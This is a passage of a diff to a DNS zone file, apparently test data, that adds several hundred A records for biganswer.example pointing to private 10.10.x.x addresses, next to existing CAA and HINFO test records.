+biganswer.example.	3600	IN	A	10.10.39.9
+biganswer.example.	3600	IN	A	10.10.39.10
+biganswer.example.	3600	IN	A	10.10.39.11
+biganswer.example.	3600	IN	A	10.10.39.12
+biganswer.example.	3600	IN	A	10.10.39.13
+biganswer.example.	3600	IN	A	10.10.39.14
+biganswer.example.	3600	IN	A	10.10.39.15
+biganswer.example.	3600	IN	A	10.10.39.16
+biganswer.example.	3600	IN	A	10.10.39.17
+biganswer.example.	3600	IN	A	10.10.39.18
+biganswer.example.	3600	IN	A	10.10.39.19
+biganswer.example.	3600	IN	A	10.10.39.20
+biganswer.example.	3600	IN	A	10.10.39.21
+biganswer.example.	3600	IN	A	10.10.39.22
+biganswer.example.	3600	IN	A	10.10.39.23
+biganswer.example.	3600	IN	A	10.10.39.24
+biganswer.example.	3600	IN	A	10.10.39.25
+biganswer.example.	3600	IN	A	10.10.39.26
+biganswer.example.	3600	IN	A	10.10.39.27
+biganswer.example.	3600	IN	A	10.10.39.28
+biganswer.example.	3600	IN	A	10.10.39.29
+biganswer.example.	3600	IN	A	10.10.39.30
+biganswer.example.	3600	IN	A	10.10.39.31
+biganswer.example.	3600	IN	A	10.10.39.32
+biganswer.example.	3600	IN	A	10.10.39.33
+biganswer.example.	3600	IN	A	10.10.39.34
+biganswer.example.	3600	IN	A	10.10.39.35
+biganswer.example.	3600	IN	A	10.10.39.36
+biganswer.example.	3600	IN	A	10.10.39.37
+biganswer.example.	3600	IN	A	10.10.39.38
+biganswer.example.	3600	IN	A	10.10.39.39
+biganswer.example.	3600	IN	A	10.10.39.40
+biganswer.example.	3600	IN	A	10.10.39.41
+biganswer.example.	3600	IN	A	10.10.39.42
+biganswer.example.	3600	IN	A	10.10.39.43
+biganswer.example.	3600	IN	A	10.10.39.44
+biganswer.example.	3600	IN	A	10.10.39.45
+biganswer.example.	3600	IN	A	10.10.39.46
+biganswer.example.	3600	IN	A	10.10.39.47
+biganswer.example.	3600	IN	A	10.10.39.48
+biganswer.example.	3600	IN	A	10.10.39.49
+biganswer.example.	3600	IN	A	10.10.39.50
+biganswer.example.	3600	IN	A	10.10.40.1
+biganswer.example.	3600	IN	A	10.10.40.2
+biganswer.example.	3600	IN	A	10.10.40.3
+biganswer.example.	3600	IN	A	10.10.40.4
+biganswer.example.	3600	IN	A	10.10.40.5
+biganswer.example.	3600	IN	A	10.10.40.6
+biganswer.example.	3600	IN	A	10.10.40.7
+biganswer.example.	3600	IN	A	10.10.40.8
+biganswer.example.	3600	IN	A	10.10.40.9
+biganswer.example.	3600	IN	A	10.10.40.10
+biganswer.example.	3600	IN	A	10.10.40.11
+biganswer.example.	3600	IN	A	10.10.40.12
+biganswer.example.	3600	IN	A	10.10.40.13
+biganswer.example.	3600	IN	A	10.10.40.14
+biganswer.example.	3600	IN	A	10.10.40.15
+biganswer.example.	3600	IN	A	10.10.40.16
+biganswer.example.	3600	IN	A	10.10.40.17
+biganswer.example.	3600	IN	A	10.10.40.18
+biganswer.example.	3600	IN	A	10.10.40.19
+biganswer.example.	3600	IN	A	10.10.40.20
+biganswer.example.	3600	IN	A	10.10.40.21
+biganswer.example.	3600	IN	A	10.10.40.22
+biganswer.example.	3600	IN	A	10.10.40.23
+biganswer.example.	3600	IN	A	10.10.40.24
+biganswer.example.	3600	IN	A	10.10.40.25
+biganswer.example.	3600	IN	A	10.10.40.26
+biganswer.example.	3600	IN	A	10.10.40.27
+biganswer.example.	3600	IN	A	10.10.40.28
+biganswer.example.	3600	IN	A	10.10.40.29
+biganswer.example.	3600	IN	A	10.10.40.30
+biganswer.example.	3600	IN	A	10.10.40.31
+biganswer.example.	3600	IN	A	10.10.40.32
+biganswer.example.	3600	IN	A	10.10.40.33
+biganswer.example.	3600	IN	A	10.10.40.34
+biganswer.example.	3600	IN	A	10.10.40.35
+biganswer.example.	3600	IN	A	10.10.40.36
+biganswer.example.	3600	IN	A	10.10.40.37
+biganswer.example.	3600	IN	A	10.10.40.38
+biganswer.example.	3600	IN	A	10.10.40.39
+biganswer.example.	3600	IN	A	10.10.40.40
+biganswer.example.	3600	IN	A	10.10.40.41
+biganswer.example.	3600	IN	A	10.10.40.42
+biganswer.example.	3600	IN	A	10.10.40.43
+biganswer.example.	3600	IN	A	10.10.40.44
+biganswer.example.	3600	IN	A	10.10.40.45
+biganswer.example.	3600	IN	A	10.10.40.46
+biganswer.example.	3600	IN	A	10.10.40.47
+biganswer.example.	3600	IN	A	10.10.40.48
+biganswer.example.	3600	IN	A	10.10.40.49
+biganswer.example.	3600	IN	A	10.10.40.50
+biganswer.example.	3600	IN	A	10.10.41.1
+biganswer.example.	3600	IN	A	10.10.41.2
+biganswer.example.	3600	IN	A	10.10.41.3
+biganswer.example.	3600	IN	A	10.10.41.4
+biganswer.example.	3600	IN	A	10.10.41.5
+biganswer.example.	3600	IN	A	10.10.41.6
+biganswer.example.	3600	IN	A	10.10.41.7
+biganswer.example.	3600	IN	A	10.10.41.8
+biganswer.example.	3600	IN	A	10.10.41.9
+biganswer.example.	3600	IN	A	10.10.41.10
+biganswer.example.	3600	IN	A	10.10.41.11
+biganswer.example.	3600	IN	A	10.10.41.12
+biganswer.example.	3600	IN	A	10.10.41.13
+biganswer.example.	3600	IN	A	10.10.41.14
+biganswer.example.	3600	IN	A	10.10.41.15
+biganswer.example.	3600	IN	A	10.10.41.16
+biganswer.example.	3600	IN	A	10.10.41.17
+biganswer.example.	3600	IN	A	10.10.41.18
+biganswer.example.	3600	IN	A	10.10.41.19
+biganswer.example.	3600	IN	A	10.10.41.20
+biganswer.example.	3600	IN	A	10.10.41.21
+biganswer.example.	3600	IN	A	10.10.41.22
+biganswer.example.	3600	IN	A	10.10.41.23
+biganswer.example.	3600	IN	A	10.10.41.24
+biganswer.example.	3600	IN	A	10.10.41.25
+biganswer.example.	3600	IN	A	10.10.41.26
+biganswer.example.	3600	IN	A	10.10.41.27
+biganswer.example.	3600	IN	A	10.10.41.28
+biganswer.example.	3600	IN	A	10.10.41.29
+biganswer.example.	3600	IN	A	10.10.41.30
+biganswer.example.	3600	IN	A	10.10.41.31
+biganswer.example.	3600	IN	A	10.10.41.32
+biganswer.example.	3600	IN	A	10.10.41.33
+biganswer.example.	3600	IN	A	10.10.41.34
+biganswer.example.	3600	IN	A	10.10.41.35
+biganswer.example.	3600	IN	A	10.10.41.36
+biganswer.example.	3600	IN	A	10.10.41.37
+biganswer.example.	3600	IN	A	10.10.41.38
+biganswer.example.	3600	IN	A	10.10.41.39
+biganswer.example.	3600	IN	A	10.10.41.40
+biganswer.example.	3600	IN	A	10.10.41.41
+biganswer.example.	3600	IN	A	10.10.41.42
+biganswer.example.	3600	IN	A	10.10.41.43
+biganswer.example.	3600	IN	A	10.10.41.44
+biganswer.example.	3600	IN	A	10.10.41.45
+biganswer.example.	3600	IN	A	10.10.41.46
+biganswer.example.	3600	IN	A	10.10.41.47
+biganswer.example.	3600	IN	A	10.10.41.48
+biganswer.example.	3600	IN	A	10.10.41.49
+biganswer.example.	3600	IN	A	10.10.41.50
+biganswer.example.	3600	IN	A	10.10.42.1
+biganswer.example.	3600	IN	A	10.10.42.2
+biganswer.example.	3600	IN	A	10.10.42.3
+biganswer.example.	3600	IN	A	10.10.42.4
+biganswer.example.	3600	IN	A	10.10.42.5
+biganswer.example.	3600	IN	A	10.10.42.6
+biganswer.example.	3600	IN	A	10.10.42.7
+biganswer.example.	3600	IN	A	10.10.42.8
+biganswer.example.	3600	IN	A	10.10.42.9
+biganswer.example.	3600	IN	A	10.10.42.10
+biganswer.example.	3600	IN	A	10.10.42.11
+biganswer.example.	3600	IN	A	10.10.42.12
+biganswer.example.	3600	IN	A	10.10.42.13
+biganswer.example.	3600	IN	A	10.10.42.14
+biganswer.example.	3600	IN	A	10.10.42.15
+biganswer.example.	3600	IN	A	10.10.42.16
+biganswer.example.	3600	IN	A	10.10.42.17
+biganswer.example.	3600	IN	A	10.10.42.18
+biganswer.example.	3600	IN	A	10.10.42.19
+biganswer.example.	3600	IN	A	10.10.42.20
+biganswer.example.	3600	IN	A	10.10.42.21
+biganswer.example.	3600	IN	A	10.10.42.22
+biganswer.example.	3600	IN	A	10.10.42.23
+biganswer.example.	3600	IN	A	10.10.42.24
+biganswer.example.	3600	IN	A	10.10.42.25
+biganswer.example.	3600	IN	A	10.10.42.26
+biganswer.example.	3600	IN	A	10.10.42.27
+biganswer.example.	3600	IN	A	10.10.42.28
+biganswer.example.	3600	IN	A	10.10.42.29
+biganswer.example.	3600	IN	A	10.10.42.30
+biganswer.example.	3600	IN	A	10.10.42.31
+biganswer.example.	3600	IN	A	10.10.42.32
+biganswer.example.	3600	IN	A	10.10.42.33
+biganswer.example.	3600	IN	A	10.10.42.34
+biganswer.example.	3600	IN	A	10.10.42.35
+biganswer.example.	3600	IN	A	10.10.42.36
+biganswer.example.	3600	IN	A	10.10.42.37
+biganswer.example.	3600	IN	A	10.10.42.38
+biganswer.example.	3600	IN	A	10.10.42.39
+biganswer.example.	3600	IN	A	10.10.42.40
+biganswer.example.	3600	IN	A	10.10.42.41
+biganswer.example.	3600	IN	A	10.10.42.42
+biganswer.example.	3600	IN	A	10.10.42.43
+biganswer.example.	3600	IN	A	10.10.42.44
+biganswer.example.	3600	IN	A	10.10.42.45
+biganswer.example.	3600	IN	A	10.10.42.46
+biganswer.example.	3600	IN	A	10.10.42.47
+biganswer.example.	3600	IN	A	10.10.42.48
+biganswer.example.	3600	IN	A	10.10.42.49
+biganswer.example.	3600	IN	A	10.10.42.50
+biganswer.example.	3600	IN	A	10.10.43.1
+biganswer.example.	3600	IN	A	10.10.43.2
+biganswer.example.	3600	IN	A	10.10.43.3
+biganswer.example.	3600	IN	A	10.10.43.4
+biganswer.example.	3600	IN	A	10.10.43.5
+biganswer.example.	3600	IN	A	10.10.43.6
+biganswer.example.	3600	IN	A	10.10.43.7
+biganswer.example.	3600	IN	A	10.10.43.8
+biganswer.example.	3600	IN	A	10.10.43.9
+biganswer.example.	3600	IN	A	10.10.43.10
+biganswer.example.	3600	IN	A	10.10.43.11
+biganswer.example.	3600	IN	A	10.10.43.12
+biganswer.example.	3600	IN	A	10.10.43.13
+biganswer.example.	3600	IN	A	10.10.43.14
+biganswer.example.	3600	IN	A	10.10.43.15
+biganswer.example.	3600	IN	A	10.10.43.16
+biganswer.example.	3600	IN	A	10.10.43.17
+biganswer.example.	3600	IN	A	10.10.43.18
+biganswer.example.	3600	IN	A	10.10.43.19
+biganswer.example.	3600	IN	A	10.10.43.20
+biganswer.example.	3600	IN	A	10.10.43.21
+biganswer.example.	3600	IN	A	10.10.43.22
+biganswer.example.	3600	IN	A	10.10.43.23
+biganswer.example.	3600	IN	A	10.10.43.24
+biganswer.example.	3600	IN	A	10.10.43.25
+biganswer.example.	3600	IN	A	10.10.43.26
+biganswer.example.	3600	IN	A	10.10.43.27
+biganswer.example.	3600	IN	A	10.10.43.28
+biganswer.example.	3600	IN	A	10.10.43.29
+biganswer.example.	3600	IN	A	10.10.43.30
+biganswer.example.	3600	IN	A	10.10.43.31
+biganswer.example.	3600	IN	A	10.10.43.32
+biganswer.example.	3600	IN	A	10.10.43.33
+biganswer.example.	3600	IN	A	10.10.43.34
+biganswer.example.	3600	IN	A	10.10.43.35
+biganswer.example.	3600	IN	A	10.10.43.36
+biganswer.example.	3600	IN	A	10.10.43.37
+biganswer.example.	3600	IN	A	10.10.43.38
+biganswer.example.	3600	IN	A	10.10.43.39
+biganswer.example.	3600	IN	A	10.10.43.40
+biganswer.example.	3600	IN	A	10.10.43.41
+biganswer.example.	3600	IN	A	10.10.43.42
+biganswer.example.	3600	IN	A	10.10.43.43
+biganswer.example.	3600	IN	A	10.10.43.44
+biganswer.example.	3600	IN	A	10.10.43.45
+biganswer.example.	3600	IN	A	10.10.43.46
+biganswer.example.	3600	IN	A	10.10.43.47
+biganswer.example.	3600	IN	A	10.10.43.48
+biganswer.example.	3600	IN	A	10.10.43.49
+biganswer.example.	3600	IN	A	10.10.43.50
+biganswer.example.	3600	IN	A	10.10.44.1
+biganswer.example.	3600	IN	A	10.10.44.2
+biganswer.example.	3600	IN	A	10.10.44.3
+biganswer.example.	3600	IN	A	10.10.44.4
+biganswer.example.	3600	IN	A	10.10.44.5
+biganswer.example.	3600	IN	A	10.10.44.6
+biganswer.example.	3600	IN	A	10.10.44.7
+biganswer.example.	3600	IN	A	10.10.44.8
+biganswer.example.	3600	IN	A	10.10.44.9
+biganswer.example.	3600	IN	A	10.10.44.10
+biganswer.example.	3600	IN	A	10.10.44.11
+biganswer.example.	3600	IN	A	10.10.44.12
+biganswer.example.	3600	IN	A	10.10.44.13
+biganswer.example.	3600	IN	A	10.10.44.14
+biganswer.example.	3600	IN	A	10.10.44.15
+biganswer.example.	3600	IN	A	10.10.44.16
+biganswer.example.	3600	IN	A	10.10.44.17
+biganswer.example.	3600	IN	A	10.10.44.18
+biganswer.example.	3600	IN	A	10.10.44.19
+biganswer.example.	3600	IN	A	10.10.44.20
+biganswer.example.	3600	IN	A	10.10.44.21
+biganswer.example.	3600	IN	A	10.10.44.22
+biganswer.example.	3600	IN	A	10.10.44.23
+biganswer.example.	3600	IN	A	10.10.44.24
+biganswer.example.	3600	IN	A	10.10.44.25
+biganswer.example.	3600	IN	A	10.10.44.26
+biganswer.example.	3600	IN	A	10.10.44.27
+biganswer.example.	3600	IN	A	10.10.44.28
+biganswer.example.	3600	IN	A	10.10.44.29
+biganswer.example.	3600	IN	A	10.10.44.30
+biganswer.example.	3600	IN	A	10.10.44.31
+biganswer.example.	3600	IN	A	10.10.44.32
+biganswer.example.	3600	IN	A	10.10.44.33
+biganswer.example.	3600	IN	A	10.10.44.34
+biganswer.example.	3600	IN	A	10.10.44.35
+biganswer.example.	3600	IN	A	10.10.44.36
+biganswer.example.	3600	IN	A	10.10.44.37
+biganswer.example.	3600	IN	A	10.10.44.38
+biganswer.example.	3600	IN	A	10.10.44.39
+biganswer.example.	3600	IN	A	10.10.44.40
+biganswer.example.	3600	IN	A	10.10.44.41
+biganswer.example.	3600	IN	A	10.10.44.42
+biganswer.example.	3600	IN	A	10.10.44.43
+biganswer.example.	3600	IN	A	10.10.44.44
+biganswer.example.	3600	IN	A	10.10.44.45
+biganswer.example.	3600	IN	A	10.10.44.46
+biganswer.example.	3600	IN	A	10.10.44.47
+biganswer.example.	3600	IN	A	10.10.44.48
+biganswer.example.	3600	IN	A	10.10.44.49
+biganswer.example.	3600	IN	A	10.10.44.50
+biganswer.example.	3600	IN	A	10.10.45.1
+biganswer.example.	3600	IN	A	10.10.45.2
+biganswer.example.	3600	IN	A	10.10.45.3
+biganswer.example.	3600	IN	A	10.10.45.4
+biganswer.example.	3600	IN	A	10.10.45.5
+biganswer.example.	3600	IN	A	10.10.45.6
+biganswer.example.	3600	IN	A	10.10.45.7
+biganswer.example.	3600	IN	A	10.10.45.8
+biganswer.example.	3600	IN	A	10.10.45.9
+biganswer.example.	3600	IN	A	10.10.45.10
+biganswer.example.	3600	IN	A	10.10.45.11
+biganswer.example.	3600	IN	A	10.10.45.12
+biganswer.example.	3600	IN	A	10.10.45.13
+biganswer.example.	3600	IN	A	10.10.45.14
+biganswer.example.	3600	IN	A	10.10.45.15
+biganswer.example.	3600	IN	A	10.10.45.16
+biganswer.example.	3600	IN	A	10.10.45.17
+biganswer.example.	3600	IN	A	10.10.45.18
+biganswer.example.	3600	IN	A	10.10.45.19
+biganswer.example.	3600	IN	A	10.10.45.20
+biganswer.example.	3600	IN	A	10.10.45.21
+biganswer.example.	3600	IN	A	10.10.45.22
+biganswer.example.	3600	IN	A	10.10.45.23
+biganswer.example.	3600	IN	A	10.10.45.24
+biganswer.example.	3600	IN	A	10.10.45.25
+biganswer.example.	3600	IN	A	10.10.45.26
+biganswer.example.	3600	IN	A	10.10.45.27
+biganswer.example.	3600	IN	A	10.10.45.28
+biganswer.example.	3600	IN	A	10.10.45.29
+biganswer.example.	3600	IN	A	10.10.45.30
+biganswer.example.	3600	IN	A	10.10.45.31
+biganswer.example.	3600	IN	A	10.10.45.32
+biganswer.example.	3600	IN	A	10.10.45.33
+biganswer.example.	3600	IN	A	10.10.45.34
+biganswer.example.	3600	IN	A	10.10.45.35
+biganswer.example.	3600	IN	A	10.10.45.36
+biganswer.example.	3600	IN	A	10.10.45.37
+biganswer.example.	3600	IN	A	10.10.45.38
+biganswer.example.	3600	IN	A	10.10.45.39
+biganswer.example.	3600	IN	A	10.10.45.40
+biganswer.example.	3600	IN	A	10.10.45.41
+biganswer.example.	3600	IN	A	10.10.45.42
+biganswer.example.	3600	IN	A	10.10.45.43
+biganswer.example.	3600	IN	A	10.10.45.44
+biganswer.example.	3600	IN	A	10.10.45.45
+biganswer.example.	3600	IN	A	10.10.45.46
+biganswer.example.	3600	IN	A	10.10.45.47
+biganswer.example.	3600	IN	A	10.10.45.48
+biganswer.example.	3600	IN	A	10.10.45.49
+biganswer.example.	3600	IN	A	10.10.45.50
+biganswer.example.	3600	IN	A	10.10.46.1
+biganswer.example.	3600	IN	A	10.10.46.2
+biganswer.example.	3600	IN	A	10.10.46.3
+biganswer.example.	3600	IN	A	10.10.46.4
+biganswer.example.	3600	IN	A	10.10.46.5
+biganswer.example.	3600	IN	A	10.10.46.6
+biganswer.example.	3600	IN	A	10.10.46.7
+biganswer.example.	3600	IN	A	10.10.46.8
+biganswer.example.	3600	IN	A	10.10.46.9
+biganswer.example.	3600	IN	A	10.10.46.10
+biganswer.example.	3600	IN	A	10.10.46.11
+biganswer.example.	3600	IN	A	10.10.46.12
+biganswer.example.	3600	IN	A	10.10.46.13
+biganswer.example.	3600	IN	A	10.10.46.14
+biganswer.example.	3600	IN	A	10.10.46.15
+biganswer.example.	3600	IN	A	10.10.46.16
+biganswer.example.	3600	IN	A	10.10.46.17
+biganswer.example.	3600	IN	A	10.10.46.18
+biganswer.example.	3600	IN	A	10.10.46.19
+biganswer.example.	3600	IN	A	10.10.46.20
+biganswer.example.	3600	IN	A	10.10.46.21
+biganswer.example.	3600	IN	A	10.10.46.22
+biganswer.example.	3600	IN	A	10.10.46.23
+biganswer.example.	3600	IN	A	10.10.46.24
+biganswer.example.	3600	IN	A	10.10.46.25
+biganswer.example.	3600	IN	A	10.10.46.26
+biganswer.example.	3600	IN	A	10.10.46.27
+biganswer.example.	3600	IN	A	10.10.46.28
+biganswer.example.	3600	IN	A	10.10.46.29
+biganswer.example.	3600	IN	A	10.10.46.30
+biganswer.example.	3600	IN	A	10.10.46.31
+biganswer.example.	3600	IN	A	10.10.46.32
+biganswer.example.	3600	IN	A	10.10.46.33
+biganswer.example.	3600	IN	A	10.10.46.34
+biganswer.example.	3600	IN	A	10.10.46.35
+biganswer.example.	3600	IN	A	10.10.46.36
+biganswer.example.	3600	IN	A	10.10.46.37
+biganswer.example.	3600	IN	A	10.10.46.38
+biganswer.example.	3600	IN	A	10.10.46.39
+biganswer.example.	3600	IN	A	10.10.46.40
+biganswer.example.	3600	IN	A	10.10.46.41
+biganswer.example.	3600	IN	A	10.10.46.42
+biganswer.example.	3600	IN	A	10.10.46.43
+biganswer.example.	3600	IN	A	10.10.46.44
+biganswer.example.	3600	IN	A	10.10.46.45
+biganswer.example.	3600	IN	A	10.10.46.46
+biganswer.example.	3600	IN	A	10.10.46.47
+biganswer.example.	3600	IN	A	10.10.46.48
+biganswer.example.	3600	IN	A	10.10.46.49
+biganswer.example.	3600	IN	A	10.10.46.50
+biganswer.example.	3600	IN	A	10.10.47.1
+biganswer.example.	3600	IN	A	10.10.47.2
+biganswer.example.	3600	IN	A	10.10.47.3
+biganswer.example.	3600	IN	A	10.10.47.4
+biganswer.example.	3600	IN	A	10.10.47.5
+biganswer.example.	3600	IN	A	10.10.47.6
+biganswer.example.	3600	IN	A	10.10.47.7
+biganswer.example.	3600	IN	A	10.10.47.8
+biganswer.example.	3600	IN	A	10.10.47.9
+biganswer.example.	3600	IN	A	10.10.47.10
+biganswer.example.	3600	IN	A	10.10.47.11
+biganswer.example.	3600	IN	A	10.10.47.12
+biganswer.example.	3600	IN	A	10.10.47.13
+biganswer.example.	3600	IN	A	10.10.47.14
+biganswer.example.	3600	IN	A	10.10.47.15
+biganswer.example.	3600	IN	A	10.10.47.16
+biganswer.example.	3600	IN	A	10.10.47.17
+biganswer.example.	3600	IN	A	10.10.47.18
+biganswer.example.	3600	IN	A	10.10.47.19
+biganswer.example.	3600	IN	A	10.10.47.20
+biganswer.example.	3600	IN	A	10.10.47.21
+biganswer.example.	3600	IN	A	10.10.47.22
+biganswer.example.	3600	IN	A	10.10.47.23
+biganswer.example.	3600	IN	A	10.10.47.24
+biganswer.example.	3600	IN	A	10.10.47.25
+biganswer.example.	3600	IN	A	10.10.47.26
+biganswer.example.	3600	IN	A	10.10.47.27
+biganswer.example.	3600	IN	A	10.10.47.28
+biganswer.example.	3600	IN	A	10.10.47.29
+biganswer.example.	3600	IN	A	10.10.47.30
+biganswer.example.	3600	IN	A	10.10.47.31
+biganswer.example.	3600	IN	A	10.10.47.32
+biganswer.example.	3600	IN	A	10.10.47.33
+biganswer.example.	3600	IN	A	10.10.47.34
+biganswer.example.	3600	IN	A	10.10.47.35
+biganswer.example.	3600	IN	A	10.10.47.36
+biganswer.example.	3600	IN	A	10.10.47.37
+biganswer.example.	3600	IN	A	10.10.47.38
+biganswer.example.	3600	IN	A	10.10.47.39
+biganswer.example.	3600	IN	A	10.10.47.40
+biganswer.example.	3600	IN	A	10.10.47.41
+biganswer.example.	3600	IN	A	10.10.47.42
+biganswer.example.	3600	IN	A	10.10.47.43
+biganswer.example.	3600	IN	A	10.10.47.44
+biganswer.example.	3600	IN	A	10.10.47.45
+biganswer.example.	3600	IN	A	10.10.47.46
+biganswer.example.	3600	IN	A	10.10.47.47
+biganswer.example.	3600	IN	A	10.10.47.48
+biganswer.example.	3600	IN	A	10.10.47.49
+biganswer.example.	3600	IN	A	10.10.47.50
+biganswer.example.	3600	IN	A	10.10.48.1
+biganswer.example.	3600	IN	A	10.10.48.2
+biganswer.example.	3600	IN	A	10.10.48.3
+biganswer.example.	3600	IN	A	10.10.48.4
+biganswer.example.	3600	IN	A	10.10.48.5
+biganswer.example.	3600	IN	A	10.10.48.6
+biganswer.example.	3600	IN	A	10.10.48.7
+biganswer.example.	3600	IN	A	10.10.48.8
+biganswer.example.	3600	IN	A	10.10.48.9
+biganswer.example.	3600	IN	A	10.10.48.10
+biganswer.example.	3600	IN	A	10.10.48.11
+biganswer.example.	3600	IN	A	10.10.48.12
+biganswer.example.	3600	IN	A	10.10.48.13
+biganswer.example.	3600	IN	A	10.10.48.14
+biganswer.example.	3600	IN	A	10.10.48.15
+biganswer.example.	3600	IN	A	10.10.48.16
+biganswer.example.	3600	IN	A	10.10.48.17
+biganswer.example.	3600	IN	A	10.10.48.18
+biganswer.example.	3600	IN	A	10.10.48.19
+biganswer.example.	3600	IN	A	10.10.48.20
+biganswer.example.	3600	IN	A	10.10.48.21
+biganswer.example.	3600	IN	A	10.10.48.22
+biganswer.example.	3600	IN	A	10.10.48.23
+biganswer.example.	3600	IN	A	10.10.48.24
+biganswer.example.	3600	IN	A	10.10.48.25
+biganswer.example.	3600	IN	A	10.10.48.26
+biganswer.example.	3600	IN	A	10.10.48.27
+biganswer.example.	3600	IN	A	10.10.48.28
+biganswer.example.	3600	IN	A	10.10.48.29
+biganswer.example.	3600	IN	A	10.10.48.30
+biganswer.example.	3600	IN	A	10.10.48.31
+biganswer.example.	3600	IN	A	10.10.48.32
+biganswer.example.	3600	IN	A	10.10.48.33
+biganswer.example.	3600	IN	A	10.10.48.34
+biganswer.example.	3600	IN	A	10.10.48.35
+biganswer.example.	3600	IN	A	10.10.48.36
+biganswer.example.	3600	IN	A	10.10.48.37
+biganswer.example.	3600	IN	A	10.10.48.38
+biganswer.example.	3600	IN	A	10.10.48.39
+biganswer.example.	3600	IN	A	10.10.48.40
+biganswer.example.	3600	IN	A	10.10.48.41
+biganswer.example.	3600	IN	A	10.10.48.42
+biganswer.example.	3600	IN	A	10.10.48.43
+biganswer.example.	3600	IN	A	10.10.48.44
+biganswer.example.	3600	IN	A	10.10.48.45
+biganswer.example.	3600	IN	A	10.10.48.46
+biganswer.example.	3600	IN	A	10.10.48.47
+biganswer.example.	3600	IN	A	10.10.48.48
+biganswer.example.	3600	IN	A	10.10.48.49
+biganswer.example.	3600	IN	A	10.10.48.50
+biganswer.example.	3600	IN	A	10.10.49.1
+biganswer.example.	3600	IN	A	10.10.49.2
+biganswer.example.	3600	IN	A	10.10.49.3
+biganswer.example.	3600	IN	A	10.10.49.4
+biganswer.example.	3600	IN	A	10.10.49.5
+biganswer.example.	3600	IN	A	10.10.49.6
+biganswer.example.	3600	IN	A	10.10.49.7
+biganswer.example.	3600	IN	A	10.10.49.8
+biganswer.example.	3600	IN	A	10.10.49.9
+biganswer.example.	3600	IN	A	10.10.49.10
+biganswer.example.	3600	IN	A	10.10.49.11
+biganswer.example.	3600	IN	A	10.10.49.12
+biganswer.example.	3600	IN	A	10.10.49.13
+biganswer.example.	3600	IN	A	10.10.49.14
+biganswer.example.	3600	IN	A	10.10.49.15
+biganswer.example.	3600	IN	A	10.10.49.16
+biganswer.example.	3600	IN	A	10.10.49.17
+biganswer.example.	3600	IN	A	10.10.49.18
+biganswer.example.	3600	IN	A	10.10.49.19
+biganswer.example.	3600	IN	A	10.10.49.20
+biganswer.example.	3600	IN	A	10.10.49.21
+biganswer.example.	3600	IN	A	10.10.49.22
+biganswer.example.	3600	IN	A	10.10.49.23
+biganswer.example.	3600	IN	A	10.10.49.24
+biganswer.example.	3600	IN	A	10.10.49.25
+biganswer.example.	3600	IN	A	10.10.49.26
+biganswer.example.	3600	IN	A	10.10.49.27
+biganswer.example.	3600	IN	A	10.10.49.28
+biganswer.example.	3600	IN	A	10.10.49.29
+biganswer.example.	3600	IN	A	10.10.49.30
+biganswer.example.	3600	IN	A	10.10.49.31
+biganswer.example.	3600	IN	A	10.10.49.32
+biganswer.example.	3600	IN	A	10.10.49.33
+biganswer.example.	3600	IN	A	10.10.49.34
+biganswer.example.	3600	IN	A	10.10.49.35
+biganswer.example.	3600	IN	A	10.10.49.36
+biganswer.example.	3600	IN	A	10.10.49.37
+biganswer.example.	3600	IN	A	10.10.49.38
+biganswer.example.	3600	IN	A	10.10.49.39
+biganswer.example.	3600	IN	A	10.10.49.40
+biganswer.example.	3600	IN	A	10.10.49.41
+biganswer.example.	3600	IN	A	10.10.49.42
+biganswer.example.	3600	IN	A	10.10.49.43
+biganswer.example.	3600	IN	A	10.10.49.44
+biganswer.example.	3600	IN	A	10.10.49.45
+biganswer.example.	3600	IN	A	10.10.49.46
+biganswer.example.	3600	IN	A	10.10.49.47
+biganswer.example.	3600	IN	A	10.10.49.48
+biganswer.example.	3600	IN	A	10.10.49.49
+biganswer.example.	3600	IN	A	10.10.49.50
+biganswer.example.	3600	IN	A	10.10.50.1
+biganswer.example.	3600	IN	A	10.10.50.2
+biganswer.example.	3600	IN	A	10.10.50.3
+biganswer.example.	3600	IN	A	10.10.50.4
+biganswer.example.	3600	IN	A	10.10.50.5
+biganswer.example.	3600	IN	A	10.10.50.6
+biganswer.example.	3600	IN	A	10.10.50.7
+biganswer.example.	3600	IN	A	10.10.50.8
+biganswer.example.	3600	IN	A	10.10.50.9
+biganswer.example.	3600	IN	A	10.10.50.10
+biganswer.example.	3600	IN	A	10.10.50.11
+biganswer.example.	3600	IN	A	10.10.50.12
+biganswer.example.	3600	IN	A	10.10.50.13
+biganswer.example.	3600	IN	A	10.10.50.14
+biganswer.example.	3600	IN	A	10.10.50.15
+biganswer.example.	3600	IN	A	10.10.50.16
+biganswer.example.	3600	IN	A	10.10.50.17
+biganswer.example.	3600	IN	A	10.10.50.18
+biganswer.example.	3600	IN	A	10.10.50.19
+biganswer.example.	3600	IN	A	10.10.50.20
+biganswer.example.	3600	IN	A	10.10.50.21
+biganswer.example.	3600	IN	A	10.10.50.22
+biganswer.example.	3600	IN	A	10.10.50.23
+biganswer.example.	3600	IN	A	10.10.50.24
+biganswer.example.	3600	IN	A	10.10.50.25
+biganswer.example.	3600	IN	A	10.10.50.26
+biganswer.example.	3600	IN	A	10.10.50.27
+biganswer.example.	3600	IN	A	10.10.50.28
+biganswer.example.	3600	IN	A	10.10.50.29
+biganswer.example.	3600	IN	A	10.10.50.30
+biganswer.example.	3600	IN	A	10.10.50.31
+biganswer.example.	3600	IN	A	10.10.50.32
+biganswer.example.	3600	IN	A	10.10.50.33
+biganswer.example.	3600	IN	A	10.10.50.34
+biganswer.example.	3600	IN	A	10.10.50.35
+biganswer.example.	3600	IN	A	10.10.50.36
+biganswer.example.	3600	IN	A	10.10.50.37
+biganswer.example.	3600	IN	A	10.10.50.38
+biganswer.example.	3600	IN	A	10.10.50.39
+biganswer.example.	3600	IN	A	10.10.50.40
+biganswer.example.	3600	IN	A	10.10.50.41
+biganswer.example.	3600	IN	A	10.10.50.42
+biganswer.example.	3600	IN	A	10.10.50.43
+biganswer.example.	3600	IN	A	10.10.50.44
+biganswer.example.	3600	IN	A	10.10.50.45
+biganswer.example.	3600	IN	A	10.10.50.46
+biganswer.example.	3600	IN	A	10.10.50.47
+biganswer.example.	3600	IN	A	10.10.50.48
+biganswer.example.	3600	IN	A	10.10.50.49
+biganswer.example.	3600	IN	A	10.10.50.50
 caa01.example.		3600	IN	CAA	0 issue "ca.example.net; policy=ev"
 caa02.example.		3600	IN	CAA	128 tbs "Unknown"
 caa03.example.		3600	IN	CAA	128 tbs ""
@@ -58,6 +2558,8 @@ hinfo01.example.	3600	IN	HINFO	"Generic PC clone" "NetBSD-1.4"
 hinfo02.example.	3600	IN	HINFO	"PC" "NetBSD"
